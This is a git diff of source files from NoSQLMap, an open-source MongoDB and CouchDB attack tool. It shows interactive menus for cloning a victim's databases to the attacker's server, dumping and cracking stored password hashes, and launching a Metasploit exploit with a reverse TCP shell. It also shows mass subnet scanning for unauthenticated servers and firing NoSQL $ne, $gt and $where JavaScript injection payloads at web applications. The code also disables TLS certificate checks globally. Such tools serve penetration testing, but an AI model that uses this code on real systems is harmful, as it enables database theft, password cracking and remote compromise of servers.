+ print "2-Enumerate Databases/Collections/Users"
+ print "3-Check for GridFS"
+ print "4-Clone a Database"
+ print "5-Launch Metasploit Exploit for Mongo < 2.2.4"
+ print "6-Return to Main Menu"
+ attack = raw_input("Select an attack: ")
+
+ if attack == "1":
+ print "\n"
+ getPlatInfo(conn)
+
+ if attack == "2":
+ print "\n"
+ enumDbs(conn)
+
+ if attack == "3":
+ print "\n"
+ enumGrid(conn)
+
+ if attack == "4":
+ if myIP == "Not Set":
+ print "Target database not set!"
+ else:
+ print "\n"
+ stealDBs(myIP,target,conn)
+
+ if attack == "5":
+ print "\n"
+ msfLaunch()
+
+ if attack == "6":
+ return
+
+
+def stealDBs(myDB,victim,mongoConn):
+ dbList = mongoConn.database_names()
+ dbLoot = True
+ menuItem = 1
+
+ if len(dbList) == 0:
+ print "Can't get a list of databases to steal. The provided credentials may not have rights."
+ return
+
+ for dbName in dbList:
+ print str(menuItem) + "-" + dbName
+ menuItem += 1
+
+ while dbLoot:
+ dbLoot = raw_input("Select a database to steal: ")
+
+ if int(dbLoot) >= menuItem:
+ print "Invalid selection."
+
+ else:
+ break
+
+ try:
+ # Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
+ dbNeedCreds = raw_input("Does this database require credentials (y/n)? ")
+ myDBConn = pymongo.MongoClient(myDB, 27017)
+ if dbNeedCreds in no_tag:
+
+ myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim)
+
+ elif dbNeedCreds in yes_tag:
+ dbUser = raw_input("Enter database username: ")
+ dbPass = raw_input("Enter database password: ")
+ myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim,dbUser,dbPass)
+
+ else:
+ raw_input("Invalid Selection. Press enter to continue.")
+ stealDBs(myDB,victim,mongoConn)
+
+ cloneAnother = raw_input("Database cloned. Copy another (y/n)? ")
+
+ if cloneAnother in yes_tag:
+ stealDBs(myDB,victim,mongoConn)
+
+ else:
+ return
+
+ except NoSQLMapException, e:
+ if str(e).find('text search not enabled') != -1:
+ raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...")
+ return
+ elif str(e).find('Network is unreachable') != -1:
+ raw_input("Are you sure your network is unreachable? Press enter to return..")
+ else:
+ raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...")
+ return
+
+
+def passCrack (user, encPass):
+ select = True
+ print "Select password cracking method: "
+ print "1-Dictionary Attack"
+ print "2-Brute Force"
+ print "3-Exit"
+
+
+ while select:
+ select = raw_input("Selection: ")
+ if select == "1":
+ select = False
+ dict_pass(user,encPass)
+
+ elif select == "2":
+ select = False
+ brute_pass(user,encPass)
+
+ elif select == "3":
+ return
+ return
+
+
+def gen_pass(user, passw, hashVal):
+ if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal:
+ print "Found - " + user + ":" + passw
+ return True
+ else:
+ return False
+
+
+def dict_pass(user,key):
+ loadCheck = False
+
+ while loadCheck == False:
+ dictionary = raw_input("Enter path to password dictionary: ")
+ try:
+ with open (dictionary) as f:
+ passList = f.readlines()
+ loadCheck = True
+ except NoSQLMapException:
+ print " Couldn't load file."
+
+ print "Running dictionary attack..."
+ for passGuess in passList:
+ temp = passGuess.split("\n")[0]
+ gotIt = gen_pass (user, temp, key)
+
+ if gotIt == True:
+ break
+ return
+
+
+def genBrute(chars, maxLen):
+ return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1)))
+
+
+def brute_pass(user,key):
+ charSel = True
+ print "\n"
+ maxLen = raw_input("Enter the maximum password length to attempt: ")
+ print "1-Lower case letters"
+ print "2-Upper case letters"
+ print "3-Upper + lower case letters"
+ print "4-Numbers only"
+ print "5-Alphanumeric (upper and lower case)"
+ print "6-Alphanumeric + special characters"
+ charSel = raw_input("\nSelect character set to use:")
+
+ if charSel == "1":
+ chainSet = string.ascii_lowercase
+
+ elif charSel == "2":
+ chainSet= string.ascii_uppercase
+
+ elif charSel == "3":
+ chainSet = string.ascii_letters
+
+ elif charSel == "4":
+ chainSet = string.digits
+
+ elif charSel == "5":
+ chainSet = string.ascii_letters + string.digits
+
+ elif charSel == "6":
+ chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/"
+ count = 0
+ print "\n",
+ for attempt in genBrute (chainSet,int(maxLen)):
+ print "\rCombinations tested: " + str(count) + "\r"
+ count += 1
+ if md5(user + ":mongo:" + str(attempt)).hexdigest() == key:
+ print "\nFound - " + user + ":" + attempt
+ break
+ return
+
+
+def getPlatInfo (mongoConn):
+ print "Server Info:"
+ print "MongoDB Version: " + mongoConn.server_info()['version']
+ print "Debugs enabled : " + str(mongoConn.server_info()['debug'])
+ print "Platform: " + str(mongoConn.server_info()['bits']) + " bit"
+ print "\n"
+ return
+
+
+def enumDbs (mongoConn):
+ try:
+ print "List of databases:"
+ print "\n".join(mongoConn.database_names())
+ print "\n"
+
+ except NoSQLMapException:
+ print "Error: Couldn't list databases. The provided credentials may not have rights."
+
+ print "List of collections:"
+
+ try:
+ for dbItem in mongoConn.database_names():
+ db = mongoConn[dbItem]
+ print dbItem + ":"
+ print "\n".join(db.collection_names())
+ print "\n"
+
+ if 'system.users' in db.collection_names():
+ users = list(db.system.users.find())
+ print "Database Users and Password Hashes:"
+
+ for x in range (0,len(users)):
+ print "Username: " + users[x]['user']
+ print "Hash: " + users[x]['pwd']
+ print "\n"
+ crack = raw_input("Crack this hash (y/n)? ")
+
+ if crack in yes_tag:
+ passCrack(users[x]['user'],users[x]['pwd'])
+
+ except NoSQLMapException, e:
+ print e
+ print "Error: Couldn't list collections. The provided credentials may not have rights."
+
+ print "\n"
+ return
+
+
+def msfLaunch(victim, myIP, myPort):
+ try:
+ proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"])
+
+ except NoSQLMapException:
+ print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
+ raw_input("Press enter to continue...")
+ return
+
+
+def enumGrid (mongoConn):
+ try:
+ for dbItem in mongoConn.database_names():
+ try:
+ db = mongoConn[dbItem]
+ fs = gridfs.GridFS(db)
+ files = fs.list()
+ print "GridFS enabled on database " + str(dbItem)
+ print " list of files:"
+ print "\n".join(files)
+
+ except NoSQLMapException:
+ print "GridFS not enabled on " + str(dbItem) + "."
+
+ except NoSQLMapException:
+ print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights."
+
+ return
+
+
+def mongoScan(ip,port,pingIt):
+
+ if pingIt == True:
+ test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null")
+
+ if test == 0:
+ try:
+ conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000)
+
+ try:
+ dbList = conn.database_names()
+ dbVer = conn.server_info()['version']
+ conn.close()
+ return [0,dbVer]
+
+ except NoSQLMapException:
+ if str(sys.exc_info()).find('need to login') != -1:
+ conn.close()
+ return [1,None]
+
+ else:
+ conn.close()
+ return [2,None]
+
+ except NoSQLMapException:
+ return [3,None]
+
+ else:
+ return [4,None]
+ else:
+ try:
+ conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000)
+
+ try:
+ dbList = conn.database_names()
+ dbVer = conn.server_info()['version']
+ conn.close()
+ return [0,dbVer]
+
+ except NoSQLMapException, e:
+ if str(e).find('need to login') != -1:
+ conn.close()
+ return [1,None]
+
+ else:
+ conn.close()
+ return [2,None]
+
+ except NoSQLMapException:
+ return [3,None]
diff --git a/nsmscan.py b/nsmscan.py
new file mode 100644
index 0000000..b292aad
--- /dev/null
+++ b/nsmscan.py
@@ -0,0 +1,157 @@
+#!/usr/bin/python
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
+
+
+from exception import NoSQLMapException
+import ipcalc
+import nsmmongo
+import nsmcouch
+
+def args():
+ return []
+
+def massScan(platform, args = None):
+ yes_tag = ['y', 'Y']
+ no_tag = ['n', 'N']
+ optCheck = True
+ loadCheck = False
+ ping = False
+ success = []
+ versions = []
+ creds = []
+ commError = []
+ ipList = []
+ resultSet = []
+
+ print "\n"
+ print platform + " Default Access Scanner"
+ print "=============================="
+ print "1-Scan a subnet for default " + platform + " access"
+ print "2-Loads IPs to scan from a file"
+ print "3-Enable/disable host pings before attempting connection"
+ print "x-Return to main menu"
+
+ while optCheck:
+ loadOpt = raw_input("Select an option: ")
+
+ if loadOpt == "1":
+ subnet = raw_input("Enter subnet to scan: ")
+
+ try:
+ for ip in ipcalc.Network(subnet):
+ ipList.append(str(ip))
+ optCheck = False
+ except NoSQLMapException:
+ raw_input("Not a valid subnet. Press enter to return to main menu.")
+ return
+
+ if loadOpt == "2":
+ while loadCheck == False:
+ loadPath = raw_input("Enter file name with IP list to scan: ")
+
+ try:
+ with open (loadPath) as f:
+ ipList = f.readlines()
+ loadCheck = True
+ optCheck = False
+ except NoSQLMapException:
+ print "Couldn't open file."
+
+ if loadOpt == "3":
+ if ping == False:
+ ping = True
+ print "Scan will ping host before connection attempt."
+
+ elif ping == True:
+ ping = False
+ print "Scan will not ping host before connection attempt."
+
+ if loadOpt == "x":
+ return
+
+
+ print "\n"
+ for target in ipList:
+
+ if platform == "MongoDB":
+ result = nsmmongo.mongoScan(target.rstrip(),27017,ping)
+
+ elif platform == "CouchDB":
+ result = nsmcouch.couchScan(target.rstrip(),5984,ping)
+
+ if result[0] == 0:
+ print "Successful default access on " + target.rstrip() + "(" + platform + " Version: " + result[1] + ")."
+ success.append(target.rstrip())
+ versions.append(result[1])
+
+ elif result[0] == 1:
+ print platform + " running but credentials required on " + target.rstrip() + "."
+ creds.append(target.rstrip()) # Future use
+
+ elif result[0] == 2:
+ print "Successful " + platform + " connection to " + target.rstrip() + " but error executing command."
+ commError.append(target.rstrip()) # Future use
+
+ elif result[0] == 3:
+ print "Couldn't connect to " + target.rstrip() + "."
+
+ elif result[0] == 4:
+ print target.rstrip() + " didn't respond to ping."
+
+
+ print "\n\n"
+ select = True
+ while select:
+ saveEm = raw_input("Save scan results to CSV? (y/n):")
+
+ if saveEm in yes_tag:
+ savePath = raw_input("Enter file name to save: ")
+ outCounter = 0
+ try:
+ fo = open(savePath, "wb")
+ fo.write("IP Address," + platform + " Version\n")
+
+ for server in success:
+ fo.write(server + "," + versions[outCounter] + "\n" )
+ outCounter += 1
+
+ fo.close()
+ print "Scan results saved!"
+ select = False
+
+ except NoSQLMapException:
+ print "Couldn't save scan results."
+
+ elif saveEm in no_tag:
+ select = False
+
+ else:
+ select = True
+
+ print "Discovered " + platform + " Servers with No Auth:"
+ print "IP" + " " + "Version"
+
+ outCounter= 1
+
+ for server in success:
+ print str(outCounter) + "-" + server + " " + versions[outCounter - 1]
+ outCounter += 1
+
+ select = True
+ print "\n"
+ while select:
+ select = raw_input("Select a NoSQLMap target or press x to exit: ")
+
+ if select == "x" or select == "X":
+ return None
+
+ elif select.isdigit() == True and int(select) <= outCounter:
+ victim = success[int(select) - 1]
+ resultSet[0] = True
+ resultSet[1] = victim
+ raw_input("New target set! Press enter to return to the main menu.")
+ return resultSet
+
+ else:
+ raw_input("Invalid selection.")
diff --git a/nsmweb.py b/nsmweb.py
new file mode 100644
index 0000000..0b5a8f9
--- /dev/null
+++ b/nsmweb.py
@@ -0,0 +1,1233 @@
+#!/usr/bin/python
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
+
+
+from exception import NoSQLMapException
+import urllib
+import urllib2
+import string
+import nsmmongo
+from sys import version_info
+import datetime
+import time
+import random
+
+# Fix for dealing with self-signed certificates. This is wrong and highly discouraged, to be revisited in stable branch
+
+if version_info >= (2, 7, 9):
+ import ssl
+ ssl._create_default_https_context = ssl._create_unverified_context
+
+
+def save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack):
+ fo = open(savePath, "wb")
+ fo.write ("Vulnerable URLs:\n")
+ fo.write("\n".join(vulnAddrs))
+ fo.write("\n\n")
+ fo.write("Possibly Vulnerable URLs:\n")
+ fo.write("\n".join(possAddrs))
+ fo.write("\n")
+ fo.write("Timing based attacks:\n")
+
+ if strTbAttack == True:
+ fo.write("String Attack-Successful\n")
+ else:
+ fo.write("String Attack-Unsuccessful\n")
+ fo.write("\n")
+
+ if intTbAttack == True:
+ fo.write("Integer attack-Successful\n")
+ else:
+ fo.write("Integer attack-Unsuccessful\n")
+ fo.write("\n")
+ fo.close()
+
+def args():
+ return [
+ ["--injectedParameter", "Parameter to be injected"],
+ ["--injectSize", "Size of payload"],
+ ["--injectFormat", "1-Alphanumeric, 2-Letters only, 3-Numbers only, 4-Email address"],
+ ["--params", "Enter parameters to inject in a comma separated list"],
+ ["--doTimeAttack", "Start timing based tests (y/n)"],
+ ["--savePath", "output file name"]]
+
+def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None):
+ print "Web App Attacks (GET)"
+ print "==============="
+ paramName = []
+ global testNum
+ global httpMethod
+ httpMethod = "GET"
+ testNum = 1
+ paramValue = []
+ global vulnAddrs
+ vulnAddrs = []
+ global possAddrs
+ possAddrs = []
+ timeVulnsStr = []
+ timeVulnsInt = []
+ appUp = False
+ strTbAttack = False
+ intTbAttack = False
+ trueStr = False
+ trueInt = False
+ global lt24
+ lt24 = False
+ global str24
+ str24 = False
+ global int24
+ int24 = False
+
+ # Verify app is working.
+ print "Checking to see if site at " + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip() + " is up..."
+
+ if https == "OFF":
+ appURL = "http://" + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip()
+
+ elif https == "ON":
+ appURL = "https://" + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip()
+ try:
+ req = urllib2.Request(appURL, None, requestHeaders)
+ appRespCode = urllib2.urlopen(req).getcode()
+ if appRespCode == 200:
+ normLength = int(len(getResponseBodyHandlingErrors(req)))
+ timeReq = urllib2.urlopen(req)
+ start = time.time()
+ page = timeReq.read()
+ end = time.time()
+ timeReq.close()
+ timeBase = round((end - start), 3)
+
+ if verb == "ON":
+ print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
+ else:
+ print "App is up!"
+ appUp = True
+
+ else:
+ print "Got " + str(appRespCode) + "from the app, check your options."
+ except NoSQLMapException,e:
+ print e
+ print "Looks like the server didn't respond. Check your options."
+
+ if appUp == True:
+
+ if args == None:
+ sizeSelect = True
+
+ while sizeSelect:
+ injectSize = raw_input("Baseline test-Enter random string size: ")
+ sizeSelect = not injectSize.isdigit()
+ if sizeSelect:
+ print "Invalid! The size should be an integer."
+
+ format = randInjString(int(injectSize))
+ else:
+ injectSize = int(args.injectSize)
+ format = args.injectFormat
+
+ injectSize = int(injectSize)
+ injectString = build_random_string(format, injectSize)
+
+ print "Using " + injectString + " for injection testing.\n"
+
+ # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
+ if "?" not in appURL:
+ print "No URI parameters provided for GET request...Check your options.\n"
+ if args == None:
+ raw_input("Press enter to continue...")
+ return()
+
+ randomUri = buildUri(appURL,injectString, args)
+ print "URI : " + randomUri
+ req = urllib2.Request(randomUri, None, requestHeaders)
+
+ if verb == "ON":
+ print "Checking random injected parameter HTTP response size using " + randomUri +"...\n"
+ else:
+ print "Sending random parameter value..."
+
+ responseBody = getResponseBodyHandlingErrors(req)
+ randLength = int(len(responseBody))
+
+ print "Got response length of " + str(randLength) + "."
+ randNormDelta = abs(normLength - randLength)
+
+ if randNormDelta == 0:
+ print "No change in response size injecting a random parameter..\n"
+ else:
+ print "Random value variance: " + str(randNormDelta) + "\n"
+
+ if verb == "ON":
+ print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..."
+ else:
+ print "Test 1: PHP/ExpressJS != associative array injection"
+
+ # Test for errors returned by injection
+ req = urllib2.Request(uriArray[1], None, requestHeaders)
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,None)
+ testNum += 1
+ else:
+ testNum += 1
+
+ print "\n"
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
+ print "Injecting " + uriArray[2]
+ else:
+ print "Test 2: $where injection (string escape)"
+
+ print uriArray[2]
+ req = urllib2.Request(uriArray[2], None, requestHeaders)
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,None)
+ testNum += 1
+
+ else:
+ testNum += 1
+
+ print "\n"
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
+ print "Injecting " + uriArray[3]
+ else:
+ print "Test 3: $where injection (integer escape)"
+
+ req = urllib2.Request(uriArray[3], None, requestHeaders)
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,None)
+ testNum +=1
+
+ else:
+ testNum +=1
+
+ # Start a single record attack in case the app expects only one record back
+ print "\n"
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
+ print " Injecting " + uriArray[4]
+ else:
+ print "Test 4: $where injection string escape (single record)"
+
+ req = urllib2.Request(uriArray[4], None, requestHeaders)
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,None)
+ testNum += 1
+ else:
+ testNum += 1
+
+ print "\n"
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
+ print " Injecting " + uriArray[5]
+ else:
+ print "Test 5: $where injection integer escape (single record)"
+
+ req = urllib2.Request(uriArray[5], None, requestHeaders)
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,None)
+ testNum +=1
+
+ else:
+ testNum += 1
+
+ print "\n"
+ if verb == "ON":
+ print "Testing Mongo this not equals string escape attack for all records..."
+ print " Injecting " + uriArray[6]
+ else:
+ print "Test 6: This != injection (string escape)"
+
+ req = urllib2.Request(uriArray[6], None, requestHeaders)
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,None)
+ testNum += 1
+ else:
+ testNum += 1
+
+ print "\n"
+ if verb == "ON":
+ print "Testing Mongo this not equals integer escape attack for all records..."
+ print " Injecting " + uriArray[7]
+ else:
+ print "Test 7: This != injection (integer escape)"
+
+ req = urllib2.Request(uriArray[7], None, requestHeaders)
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,None)
+ testNum += 1
+ else:
+ testNum += 1
+ print "\n"
+
+ if verb == "ON":
+ print "Testing PHP/ExpressJS > undefined attack for all records..."
+ print "Injecting " + uriArray[8]
+
+ else:
+ print "Test 8: PHP/ExpressJS > Undefined Injection"
+
+ req = urllib2.Request(uriArray[8], None, requestHeaders)
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,None)
+ testNum += 1
+
+ if args == None:
+ doTimeAttack = raw_input("Start timing based tests (y/n)? ")
+ else:
+ doTimeAttack = args.doTimeAttack
+
+ if doTimeAttack.lower() == "y":
+ print "Starting Javascript string escape time based injection..."
+ req = urllib2.Request(uriArray[18], None, requestHeaders)
+ start = time.time()
+ page = getResponseBodyHandlingErrors(req)
+ end = time.time()
+ #print str(end)
+ #print str(start)
+ strTimeDelta = (int(round((end - start), 3)) - timeBase)
+ #print str(strTimeDelta)
+ if strTimeDelta > 25:
+ print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible."
+ strTbAttack = True
+
+ else:
+ print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work."
+ strTbAttack = False
+
+ print "Starting Javascript integer escape time based injection..."
+ req = urllib2.Request(uriArray[9], None, requestHeaders)
+ start = time.time()
+ page = getResponseBodyHandlingErrors(req)
+ end = time.time()
+ #print str(end)
+ #print str(start)
+ intTimeDelta = (int(round((end - start), 3)) - timeBase)
+ #print str(strTimeDelta)
+ if intTimeDelta > 25:
+ print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible."
+ intTbAttack = True
+
+ else:
+ print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work."
+ intTbAttack = False
+
+ if lt24 == True:
+ bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ")
+
+ if bfInfo.lower == "y":
+ getDBInfo()
+
+
+ print "\n"
+ print "Vulnerable URLs:"
+ print "\n".join(vulnAddrs)
+ print "\n"
+ print "Possibly vulnerable URLs:"
+ print"\n".join(possAddrs)
+ print "\n"
+ print "Timing based attacks:"
+
+ if strTbAttack == True:
+ print "String attack-Successful"
+ else:
+ print "String attack-Unsuccessful"
+ if intTbAttack == True:
+ print "Integer attack-Successful"
+ else:
+ print "Integer attack-Unsuccessful"
+
+ if args == None:
+ fileOut = raw_input("Save results to file (y/n)? ")
+ else:
+ fileOut = "y" if args.savePath else "n"
+
+ if fileOut.lower() == "y":
+ if args == None:
+ savePath = raw_input("Enter output file name: ")
+ else:
+ savePath = args.savePath
+ save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack)
+
+ if args == None:
+ raw_input("Press enter to continue...")
+ return()
+
+
+def getResponseBodyHandlingErrors(req):
+ try:
+ responseBody = urllib2.urlopen(req).read()
+ except urllib2.HTTPError, err:
+ responseBody = err.read()
+
+ return responseBody
+
+
+def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None):
+ print "Web App Attacks (POST)"
+ print "==============="
+ paramName = []
+ paramValue = []
+ global vulnAddrs
+ global httpMethod
+ httpMethod = "POST"
+ vulnAddrs = []
+ global possAddrs
+ possAddrs = []
+ timeVulnsStr = []
+ timeVulnsInt = []
+ appUp = False
+ strTbAttack = False
+ intTbAttack = False
+ trueStr = False
+ trueInt = False
+ global neDict
+ global gtDict
+ testNum = 1
+
+ # Verify app is working.
+ print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
+
+ if https == "OFF":
+ appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri)
+
+ elif https == "ON":
+ appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri)
+
+ try:
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ appRespCode = urllib2.urlopen(req).getcode()
+
+ if appRespCode == 200:
+
+ normLength = int(len(getResponseBodyHandlingErrors(req)))
+ timeReq = urllib2.urlopen(req)
+ start = time.time()
+ page = timeReq.read()
+ end = time.time()
+ timeReq.close()
+ timeBase = round((end - start), 3)
+
+ if verb == "ON":
+ print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
+
+ else:
+ print "App is up!"
+ appUp = True
+ else:
+ print "Got " + str(appRespCode) + "from the app, check your options."
+
+ except NoSQLMapException,e:
+ print e
+ print "Looks like the server didn't respond. Check your options."
+
+ if appUp == True:
+
+ menuItem = 1
+ print "List of parameters:"
+ for params in postData.keys():
+ print str(menuItem) + "-" + params
+ menuItem += 1
+
+ try:
+ if args == None:
+ injIndex = raw_input("Which parameter should we inject? ")
+ else:
+ injIndex = int(args.injectedParameter)
+ injOpt = str(postData.keys()[int(injIndex)-1])
+ print "Injecting the " + injOpt + " parameter..."
+ except NoSQLMapException:
+ if args == None:
+ raw_input("Something went wrong. Press enter to return to the main menu...")
+ return
+
+ if args == None:
+ sizeSelect = True
+
+ while sizeSelect:
+ injectSize = raw_input("Baseline test-Enter random string size: ")
+ sizeSelect = not injectSize.isdigit()
+ if sizeSelect:
+ print "Invalid! The size should be an integer."
+
+ format = randInjString(int(injectSize))
+ else:
+ injectSize = int(args.injectSize)
+ format = args.injectFormat
+
+ injectSize = int(injectSize)
+ injectString = build_random_string(format, injectSize)
+
+ print "Using " + injectString + " for injection testing.\n"
+
+ # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
+ # Add error handling for Non-200 HTTP response codes if random strings freak out the app.
+ postData.update({injOpt:injectString})
+ if verb == "ON":
+ print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n"
+ else:
+ print "Sending random parameter value..."
+
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ randLength = int(len(getResponseBodyHandlingErrors(req)))
+ print "Got response length of " + str(randLength) + "."
+
+ randNormDelta = abs(normLength - randLength)
+
+ if randNormDelta == 0:
+ print "No change in response size injecting a random parameter..\n"
+ else:
+ print "Random value variance: " + str(randNormDelta) + "\n"
+
+ # Generate not equals injection
+ neDict = postData
+ neDict[injOpt + "[$ne]"] = neDict[injOpt]
+ del neDict[injOpt]
+ body = urllib.urlencode(neDict)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ if verb == "ON":
+ print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..."
+
+ else:
+ print "Test 1: PHP/ExpressJS != associative array injection"
+
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,postData)
+ testNum += 1
+
+ else:
+ testNum +=1
+ print "\n"
+
+ # Delete the extra key
+ del postData[injOpt + "[$ne]"]
+
+ # generate $gt injection
+ gtDict = postData
+ gtDict.update({injOpt:""})
+ gtDict[injOpt + "[$gt]"] = gtDict[injOpt]
+ del gtDict[injOpt]
+ body = urllib.urlencode(gtDict)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ if verb == "ON":
+ print "Testing PHP/ExpressJS >Undefined Injection using " + str(postData) + "..."
+
+ else:
+ print "Test 2: PHP/ExpressJS > Undefined Injection"
+
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,postData)
+ testNum += 1
+
+ postData.update({injOpt:"a'; return db.a.find(); var dummy='!"})
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
+ print "Injecting " + str(postData)
+
+ else:
+ print "Test 3: $where injection (string escape)"
+
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,postData)
+ testNum += 1
+ else:
+ testNum += 1
+
+ print "\n"
+
+ postData.update({injOpt:"1; return db.a.find(); var dummy=1"})
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
+ print "Injecting " + str(postData)
+ else:
+ print "Test 4: $where injection (integer escape)"
+
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,postData)
+ testNum += 1
+ else:
+ testNum += 1
+ print "\n"
+
+ # Start a single record attack in case the app expects only one record back
+ postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"})
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
+ print " Injecting " + str(postData)
+
+ else:
+ print "Test 5: $where injection string escape (single record)"
+
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,postData)
+ testNum += 1
+
+ else:
+ testNum += 1
+ print "\n"
+
+ postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"})
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
+ print " Injecting " + str(postData)
+
+ else:
+ print "Test 6: $where injection integer escape (single record)"
+
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,postData)
+ testNum += 1
+
+ else:
+ testNum += 1
+ print "\n"
+
+ postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"})
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+
+ if verb == "ON":
+ print "Testing Mongo this not equals string escape attack for all records..."
+ print " Injecting " + str(postData)
+
+ else:
+ print "Test 7: This != injection (string escape)"
+
